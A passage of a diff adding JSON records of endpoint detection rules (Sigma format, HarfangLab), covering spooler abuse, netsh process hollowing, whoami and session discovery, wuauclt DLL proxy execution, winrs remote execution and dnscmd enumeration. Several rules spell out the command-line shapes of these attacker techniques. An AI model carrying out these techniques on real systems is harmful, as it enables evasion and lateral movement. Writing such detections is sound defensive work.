'?:\\WINDOWS\\system32\\'\n\n    exclusion_brother:\n        Company: 'Brother Industries, Ltd.'\n        OriginalFileName: 'MonitorUI.exe'\n        Signed: 'true'\n        Signature: 'Microsoft Windows Hardware Compatibility Publisher'\n\n    exclusion_dotnet:\n        OriginalFileName: 'dw20.exe'\n        Signed: 'true'\n        Signature: 'Microsoft Corporation'\n\n    exclusion_hp:\n        CommandLine:\n            - 'regsvr32 /s hpbpro.dll'\n            - 'regsvr32 /s hpboid.dll'\n            - 'regsvr32 /s hpboidps.dll'\n            - 'regsvr32 /s hpbmiapi.dll'\n            - 'regsvr32 /s hpbprops.dll'\n        CurrentDirectory: '?:\\WINDOWS\\system32\\'\n\n    exclusion_ixbus:\n        Image|contains: '\\ixbus\\'\n        OriginalFileName: 'Spouleur.exe'\n        Company: 'SRCI'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e62cf952-25f7-4ad2-b66c-70d6cdb5371d",
+  "rule_name": "Suspicious Process Spawned by spoolsv.exe",
+  "rule_description": "Detects the execution of a suspicious process by the Windows Print Spooler binary.\nThis can be the result of the exploitation of the CVE-2022-38028 vulnerability that allows attackers to escalate as SYSTEM.\nIt is recommended to investigate the process spawned by spoolsv.exe and other suspicious activities on the machine before this action.\n",
+  "rule_creation_date": "2024-04-23",
+  "rule_modified_date": "2025-10-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1068"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e65d4b07-e7f5-4ae6-a8d3-074bba289339",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.296194Z",
+  "creation_date": "2026-03-23T11:45:35.296197Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.296205Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1055/"
+  ],
+  "name": "t1055_sacrificial_process_netsh.yml",
+  "content": "title: Netsh.exe Sacrificial Process Spawned\nid: e65d4b07-e7f5-4ae6-a8d3-074bba289339\ndescription: |\n    Detects the suspicious execution of the legitimate Windows binary netsh.exe, spawned without arguments and in an abnormal execution context.\n    This can mean that the binary is being used as sacrificial or hollowed process.\n    Such processes are spawned and malicious code is immediately injected into them for nefarious purposes.\n    It is recommended to investigate the parent process performing this action and the destination IP address of the netsh.exe process to determine the legitimacy of this behavior.\nreferences:\n    - https://attack.mitre.org/techniques/T1055/\ndate: 2024/05/13\nmodified: 2026/02/19\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.privilege_escalation\n    - attack.t1055\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Netsh\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.ProcessTampering\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        CommandLine:\n            - '?:\\WINDOWS\\SysWOW64\\netsh.exe'\n            - '?:\\WINDOWS\\System32\\netsh.exe'\n\n    exclusion_programfiles:\n        - GrandparentImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n        - ParentImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n\n    exclusion_pritunl:\n        ParentImage|endswith: '\\pritunl-service.exe'\n\n    exclusion_powershell:\n        ParentImage:\n            - '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'\n            - '?:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe'\n            - '?:\\Program Files\\PowerShell\\7\\pwsh.exe'\n        GrandparentImage:\n            - '?:\\Windows\\explorer.exe'\n            - '?:\\Windows\\System32\\cmd.exe'\n            - '?:\\Windows\\System32\\RuntimeBroker.exe'\n\n    exclusion_windowsterminal:\n        Ancestors|startswith: '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe|?:\\Program Files\\WindowsApps\\Microsoft.WindowsTerminal_*\\WindowsTerminal.exe|?:\\Windows\\explorer.exe|?:\\Windows\\System32\\userinit.exe|?:\\Windows\\System32\\winlogon.exe|'\n\n    exclusion_sihost:\n        ParentImage: '?:\\Windows\\System32\\sihost.exe'\n        GrandparentImage: '?:\\Windows\\System32\\svchost.exe'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e65d4b07-e7f5-4ae6-a8d3-074bba289339",
+  "rule_name": "Netsh.exe Sacrificial Process Spawned",
+  "rule_description": "Detects the suspicious execution of the legitimate Windows binary netsh.exe, spawned without arguments and in an abnormal execution context.\nThis can mean that the binary is being used as sacrificial or hollowed process.\nSuch processes are spawned and malicious code is immediately injected into them for nefarious purposes.\nIt is recommended to investigate the parent process performing this action and the destination IP address of the netsh.exe process to determine the legitimacy of this behavior.\n",
+  "rule_creation_date": "2024-05-13",
+  "rule_modified_date": "2026-02-19",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e68503f8-c396-45ae-a06e-ce317227090f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.295401Z",
+  "creation_date": "2026-03-23T11:45:35.295405Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.295412Z",
+  "rule_level": "low",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1033/"
+  ],
+  "name": "t1033_whoami_macos.yml",
+  "content": "title: Current Username Discovered via Whoami (macOS)\nid: e68503f8-c396-45ae-a06e-ce317227090f\ndescription: |\n    Detects the execution of the whoami command.\n    Attackers may use it during the discovery phase of an attack to retrieve the current account username.\n    It is recommended to investigate for malicious behavior by the process and correlate this alert with any other discovery activity.\nreferences:\n    - https://attack.mitre.org/techniques/T1033/\ndate: 2022/11/14\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1033\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection:\n        Image: '/usr/bin/whoami'\n        ParentImage|contains: '?'\n\n    exclusion_parentimage:\n        ParentImage: '/Library/Application Support/TrendMicro/TmccMac/TMSMMonitor'\n\n    exclusion_jamf:\n        - ParentCommandLine|startswith: 'sh -c /usr/bin/whoami >& ?/Library/Application Support/JAMF/tmp/'\n        - GrandparentImage: '/usr/local/jamf/bin/jamf'\n\n    exclusion_zoom:\n        ParentCommandLine: '/bin/bash /tmp/PKInstallSandbox.*/Scripts/us.zoom.pkg.videomeeting.*/postinstall /var/folders/*/us.zoom.ZoomDaemon.*/zoomTmp.pkg /Applications / /'\n\n    exclusion_fxhome:\n        ParentCommandLine: '/bin/bash /tmp/PKInstallSandbox.*/Scripts/com.fxhome.pkg.ArtlistBundle.ofxplugins.*/postinstall*'\n\n    exclusion_warp:\n        Ancestors: '/bin/zsh|/bin/zsh|/Applications/Warp.app/Contents/MacOS/stable|/Applications/Warp.app/Contents/MacOS/stable|/sbin/launchd'\n\n    exclusion_wd_discovery:\n        Ancestors|contains: '|/Applications/WD Discovery/WD Discovery.app/Contents/WDTrashObserver|'\n\n    exclusion_fsecure:\n        GrandparentImage: '/bin/bash /usr/local/f-secure/bin/fsupdated_guts2 --download'\n\n    exclusion_globalprotect:\n        ParentImage: '/Applications/GlobalProtect.app/Contents/Resources/PanGpHip'\n\n    exclusion_homebrewshell:\n        ParentImage:\n            - '/opt/homebrew/Cellar/zsh/*/bin/zsh'\n            - '/opt/homebrew/Cellar/fish/*/bin/fish'\n\n    exclusion_withsecure:\n        ParentImage: '/Library/WithSecure/bin/wsswupd.xpc/Contents/MacOS/wsswupd|/sbin/launchd'\n\n    exclusion_wdthrash:\n        GrandparentCommandLine: '/bin/bash -c pgrep -u \"$(whoami)\" -x WDTrashObserver'\n\n    exclusion_trendmicro:\n        ParentImage|startswith: '/Library/Application Support/TrendMicro/Tools/'\n\n    exclusion_idea:\n        GrandparentCommandLine: '/Applications/IntelliJ IDEA.app/Contents/MacOS/idea'\n\n    condition: selection and not 1 of exclusion_*\nlevel: low\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e68503f8-c396-45ae-a06e-ce317227090f",
+  "rule_name": "Current Username Discovered via Whoami (macOS)",
+  "rule_description": "Detects the execution of the whoami command.\nAttackers may use it during the discovery phase of an attack to retrieve the current account username.\nIt is recommended to investigate for malicious behavior by the process and correlate this alert with any other discovery activity.\n",
+  "rule_creation_date": "2022-11-14",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1033"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e68bcbd8-7151-4ef4-8500-6fbf81efc0a0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-24T07:14:08.657787Z",
+  "creation_date": "2026-03-23T11:45:34.605611Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.605619Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blog.bitsadmin.com/spying-on-users-using-rdp-shadowing",
+    "https://swarm.ptsecurity.com/remote-desktop-services-shadowing/",
+    "https://attack.mitre.org/techniques/T1018/"
+  ],
+  "name": "t1018_rdp_session_discovery.yml",
+  "content": "title: Remote Session/User Information Listed\nid: e68bcbd8-7151-4ef4-8500-6fbf81efc0a0\ndescription: |\n    Detects the execution of qwinsta or quser system binaries to list remote session information.\n    Attackers may use these commands to discover users logged into a computer or to find sessions that can be hijacked.\n    It is recommended to analyze the ancestors of the discovery command to look for malicious processes.\nreferences:\n    - https://blog.bitsadmin.com/spying-on-users-using-rdp-shadowing\n    - https://swarm.ptsecurity.com/remote-desktop-services-shadowing/\n    - https://attack.mitre.org/techniques/T1018/\ndate: 2023/08/21\nmodified: 2026/03/23\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1018\n    - attack.lateral_movement\n    - attack.t1563.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_qwinsta:\n        OriginalFileName: 'qwinsta.exe'\n        CommandLine|contains: ' ?server'\n\n    selection_quser:\n        OriginalFileName: 'quser.exe'\n        CommandLine|contains: ' ?server'\n\n    selection_current_dir:\n        CurrentDirectory|startswith:\n            - '?:\\windows\\'\n            - '?:\\ProgramData\\'\n            - '?:\\PerfLogs\\'\n            - '?:\\temp\\'\n            - '?:\\users\\'\n            - '?:\\Program Files (x86)\\'\n            - '?:\\Program Files\\'\n            - '?:\\\\?Recycle.Bin\\'\n\n    # This is handled by the rule b0b2818b-2803-4a79-b1f2-7a0f323fc955\n    filter_query_user:\n        ParentCommandLine|contains: 'query user'\n\n    exclusion_local:\n        CommandLine|contains: 'quser.exe /server:localhost'\n\n    exclusion_ninja_rmm:\n        ParentCommandLine|contains: '?:\\ProgramData\\NinjaRMMAgent\\scripting\\customscript_gen_*.ps1'\n\n    exclusion_citrix:\n        Ancestors|startswith: '?:\\Windows\\System32\\query.exe|?:\\Windows\\System32\\cmd.exe|?:\\Program Files (x86)\\Citrix\\Workspace Environment Management Agent\\VUEMCmdAgent.exe|?:\\Program Files (x86)\\Citrix\\Workspace Environment Management Agent\\Citrix.Wem.Agent.Service.exe|'\n\n    exclusion_prometeus_windows_exporter:\n        ProcessGrandparentCommandLine: 'powershell -file ?:\\Program Files\\windows_exporter\\disconnected_user_prom.ps1'\n\n    exclusion_bisf:\n        ProcessGrandparentCommandLine:\n            - 'Powershell.exe -WindowStyle Maximize -file ?:\\Program Files (x86)\\Base Image Script Framework (BIS-F)\\framework\\PrepBISF_Start.ps1'\n            - 'Powershell.exe -WindowStyle Maximize -file ?:\\Program Files\\Base Image Script Framework (BIS-F)\\framework\\PrepBISF_Start.ps1'\n\n    exclusion_fogservice:\n        ProcessGrandparentImage:\n            - '?:\\Program Files\\FOG\\FOGService.exe'\n            - '?:\\Program Files (x86)\\FOG\\FOGService.exe'\n\n    exclusion_generic_monitoring:\n        ProcessGrandparentCommandLine:\n            - '?:\\Windows\\System32\\cmd.exe /C ?:\\Script\\\\*.bat'\n            - '?:\\Windows\\System32\\cmd.exe /C ?:\\Scripts\\\\*.bat'\n            - '?:\\Windows\\system32\\cmd.exe /c \\\\\\\\*\\\\*$\\SCRIPT\\\\*.bat'\n            - '?:\\Windows\\system32\\cmd.exe /c \\\\\\\\*\\\\*$\\SCRIPTS\\\\*.bat'\n            - '?:\\WINDOWS\\system32\\cmd.exe /K \\\\\\\\*\\rdp$\\\\*.bat *'\n\n    exclusion_zabbix:\n        ParentCommandLine|contains: '?:\\Program Files\\Zabbix Agent 2\\zabbix-agent-scripts\\\\*.ps1'\n\n    exclusion_template_gpscript:\n        ProcessAncestors|contains: '?:\\Windows\\System32\\gpscript.exe|?:\\Windows\\System32\\svchost.exe'\n\n    exclusion_schedule:\n        - ProcessParentCommandLine:\n            - '?:\\Windows\\System32\\taskeng.exe'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s Schedule'\n        - ProcessGrandparentCommandLine:\n            - '?:\\Windows\\System32\\taskeng.exe'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s Schedule'\n        - ProcessGrandparentParentCommandLine:\n            - '?:\\Windows\\System32\\taskeng.exe'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s Schedule'\n        - ProcessGrandparentGrandparentCommandLine:\n            - '?:\\Windows\\System32\\taskeng.exe'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s Schedule'\n\n    # https://x.com/SBousseaden/status/1326652574150299649\n    exclusion_runas:\n        ProcessGrandparentCommandLine|contains: 'RunDll32.exe ?:\\Windows\\System32\\SHELL32.dll,RunAsNewUser_RunDLL Local\\{4ddb9f3f-700c-4bd6-9fc0-eaf85c01d25b}'\n\n    condition: (selection_qwinsta or selection_quser) and selection_current_dir and not 1 of exclusion_* and not 1 of filter_*\nlevel: medium\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e68bcbd8-7151-4ef4-8500-6fbf81efc0a0",
+  "rule_name": "Remote Session/User Information Listed",
+  "rule_description": "Detects the execution of qwinsta or quser system binaries to list remote session information.\nAttackers may use these commands to discover users logged into a computer or to find sessions that can be hijacked.\nIt is recommended to analyze the ancestors of the discovery command to look for malicious processes.\n",
+  "rule_creation_date": "2023-08-21",
+  "rule_modified_date": "2026-03-23",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1018",
+    "attack.t1563.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e695e27c-1cfb-4fc6-beb2-d33a10512974",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.070680Z",
+  "creation_date": "2026-03-23T11:45:34.070682Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.070686Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://dtm.uk/wuauclt/",
+    "https://www.malwarebytes.com/blog/news/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign",
+    "https://lolbas-project.github.io/lolbas/Binaries/Wuauclt/",
+    "https://attack.mitre.org/techniques/T1218/"
+  ],
+  "name": "t1218_suspicious_proxy_execution_wuauclt.yml",
+  "content": "title: Suspicious Proxy Execution via wuauclt.exe\nid: e695e27c-1cfb-4fc6-beb2-d33a10512974\ndescription: |\n    Detects the use of Windows Update Client wuauclt.exe to gain code execution by specifying an arbitrary DLL.\n    Attackers may abuse it to bypass security restrictions.\n    It is recommended to analyze the process responsible for the execution of wuauclt.exe to determine if it is being used in a legitimate context and investigate the DLL provided in the command-line to determine its legitimacy.\nreferences:\n    - https://dtm.uk/wuauclt/\n    - https://www.malwarebytes.com/blog/news/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign\n    - https://lolbas-project.github.io/lolbas/Binaries/Wuauclt/\n    - https://attack.mitre.org/techniques/T1218/\ndate: 2022/01/25\nmodified: 2025/02/13\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218\n    - attack.s0108\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Wuauclt\n    - classification.Windows.Behavior.ProxyExecution\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_image:\n        - Image|endswith: '\\wuauclt.exe'\n        - OriginalFileName: 'wuauclt.exe'\n    selection_command:\n        # wuauclt.exe /UpdateDeploymentProvider <Full_Path_To_DLL> /RunHandlerComServer\n        CommandLine|contains|all:\n            - '/UpdateDeploymentProvider'\n            - '/RunHandlerComServer'\n\n    exclusion_legitimate_parent:\n        ParentCommandLine:\n            - '?:\\Windows\\System32\\mousocoreworker.exe -Embedding'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s wuauserv'\n\n    # exclusion_legitimate_parent must be correct but sometime parent information are not present\n    exclusion_commandline:\n        CommandLine|endswith :\n            # C:\\Windows\\system32\\wuauclt.exe /UpdateDeploymentProvider UpdateDeploymentProvider.dll /ClassId ffeefba3-ab95-41c1-94fa-8b880256b9c7 /RunHandlerComServer\n            # \"C:\\Windows\\system32\\wuauclt.exe\" /UpdateDeploymentProvider UpdateDeploymentProvider.dll /ClassId f905a3e8-7300-4355-bc41-4af72965d2cf /RunHandlerComServer\n            - ' /UpdateDeploymentProvider UpdateDeploymentProvider.dll /ClassId ????????-????-????-????-???????????? /RunHandlerComServer'\n            # C:\\WINDOWS\\system32\\wuauclt.exe /UpdateDeploymentProvider wuaueng.dll /RunHandlerComServer\n            # \"C:\\Windows\\system32\\wuauclt.exe\" /UpdateDeploymentProvider wuaueng.dll /RunHandlerComServer\n            - ' /UpdateDeploymentProvider wuaueng.dll /RunHandlerComServer'\n\n    exclusion_mousocoreworker:\n        ParentImage: '?:\\Windows\\System32\\MoUsoCoreWorker.exe'\n        GrandparentCommandLine: '?:\\windows\\system32\\svchost.exe -k DcomLaunch -p'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e695e27c-1cfb-4fc6-beb2-d33a10512974",
+  "rule_name": "Suspicious Proxy Execution via wuauclt.exe",
+  "rule_description": "Detects the use of Windows Update Client wuauclt.exe to gain code execution by specifying an arbitrary DLL.\nAttackers may abuse it to bypass security restrictions.\nIt is recommended to analyze the process responsible for the execution of wuauclt.exe to determine if it is being used in a legitimate context and investigate the DLL provided in the command-line to determine its legitimacy.\n",
+  "rule_creation_date": "2022-01-25",
+  "rule_modified_date": "2025-02-13",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e6b9469d-5088-46a6-a7f4-26d176eb8bde",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.627259Z",
+  "creation_date": "2026-03-23T11:45:34.627261Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.627265Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/winrs",
+    "https://attack.mitre.org/techniques/T1218/",
+    "https://attack.mitre.org/techniques/T1021/006/"
+  ],
+  "name": "t1218_winrs.yml",
+  "content": "title: Execution on Remote Host via Winrs\nid: e6b9469d-5088-46a6-a7f4-26d176eb8bde\ndescription: |\n    Detects the execution of Winrs.exe to possibly execute malicious binaries on a remote host.\n    This binary, which is digitally signed by Microsoft, is supposed to be used as a (remote) administrative tool.\n    Attackers may abused it to bypass security restrictions.\n    It is recommended to investigate the parent process for suspicious activities as well as to look for subsequent malicious actions stemming from the Winrs process.\nreferences:\n    - https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/winrs\n    - https://attack.mitre.org/techniques/T1218/\n    - https://attack.mitre.org/techniques/T1021/006/\ndate: 2022/12/04\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218\n    - attack.lateral_movement\n    - attack.t1021.006\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.Lateralization\n    - classification.Windows.Behavior.NetworkActivity\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_bin:\n        - OriginalFileName: 'winrs.exe'\n        - Image|endswith: '\\winrs.exe'\n\n    selection_commandline:\n        CommandLine|contains:\n            - ' /remote:'\n            - ' -remote:'\n            - ' /r:'\n            - ' -r:'\n\n    # This is handled by the rule 734b213f-25e3-402d-862b-ccbe5a1166f4\n    exclusion_local:\n        CommandLine|contains:\n            - '127.0.0.1'\n            - 'localhost'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: medium\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e6b9469d-5088-46a6-a7f4-26d176eb8bde",
+  "rule_name": "Execution on Remote Host via Winrs",
+  "rule_description": "Detects the execution of Winrs.exe to possibly execute malicious binaries on a remote host.\nThis binary, which is digitally signed by Microsoft, is supposed to be used as a (remote) administrative tool.\nAttackers may abused it to bypass security restrictions.\nIt is recommended to investigate the parent process for suspicious activities as well as to look for subsequent malicious actions stemming from the Winrs process.\n",
+  "rule_creation_date": "2022-12-04",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1021.006",
+    "attack.t1218"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e6bfc159-5271-4835-a319-0f1d4cea23c7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.083606Z",
+  "creation_date": "2026-03-23T11:45:34.083608Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.083612Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/dnscmd",
+    "https://attack.mitre.org/techniques/T1018/"
+  ],
+  "name": "t1018_dnscmd_discovery.yml",
+  "content": "title: DNS Records Discovered via dnscmd.exe\nid: e6bfc159-5271-4835-a319-0f1d4cea23c7\ndescription: |\n    Detects the usage of dnscmd.exe to enumerate domain DNS entries.\n    Attackers may leverage dnscmd.exe to gather information about DNS entries of a domain and thus identify new potential targets.\n    It is recommended to investigate actions made by the parent process to identify other potentially malicious commands and to correlate this alert with other discovery actions.\nreferences:\n    - https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/dnscmd\n    - https://attack.mitre.org/techniques/T1018/\ndate: 2023/12/27\nmodified: 2025/02/04\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1018\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        OriginalFileName: 